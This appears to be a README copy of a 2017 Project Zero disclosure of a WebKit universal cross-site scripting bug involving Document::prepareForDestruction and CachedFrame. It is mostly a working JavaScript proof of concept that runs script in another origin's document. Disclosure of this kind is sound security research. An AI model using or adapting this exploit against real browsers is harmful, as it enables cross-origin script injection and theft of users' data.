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README.md

UXSS via Document::prepareForDestruction and CachedFrame

Reported by [email protected], Mar 3 2017

Here's a snippet of Document::prepareForDestruction

void Document::prepareForDestruction()
{
    if (m_hasPreparedForDestruction)
        return;
    ...
    detachFromFrame();

    m_hasPreparedForDestruction = true;
}

Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to m_hasPreparedForDestruction.

PoC:

<body>
  Click anywhere.
  <script>
    function createURL(data, type = 'text/html') {
      return URL.createObjectURL(new Blob([data], {
        type: type
      }));
    }

    function waitFor(check, cb) {
      let it = setInterval(() => {
        if (check()) {
          clearInterval(it);
          cb();
        }
      }, 10);
    }

    window.onclick = () => {
      window.onclick = null;

      w = open(createURL(''), '', 'width=500, height=500');
      w.onload = () => {
        setTimeout(() => {
          let f = w.document.body.appendChild(document.createElement('iframe'));
          f.contentWindow.onunload = () => {
            f.contentWindow.onunload = null;

            w.__defineGetter__('navigator', () => new Object());

            let a = w.document.createElement('a');
            a.href = 'about:blank';
            a.click();

            setTimeout(() => {
              w.history.back();
              setTimeout(() => {
                let d = w.document;
                w.location = 'javascript:' + encodeURI(`"<script>location = 'https://abc.xyz/';</scrip` + `t>"`);

                let it = setInterval(() => {
                  try {
                    w.xxxx;
                  } catch (e) {
                    clearInterval(it);

                    let a = d.createElement('a');
                    a.href = 'javascript:alert(location);';
                    a.click();
                  }
                }, 10);
              }, 100);
            }, 100);
          };

          w.location = 'javascript:""';
        }, 0);
      };

    }
  </script>
</body>

Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1163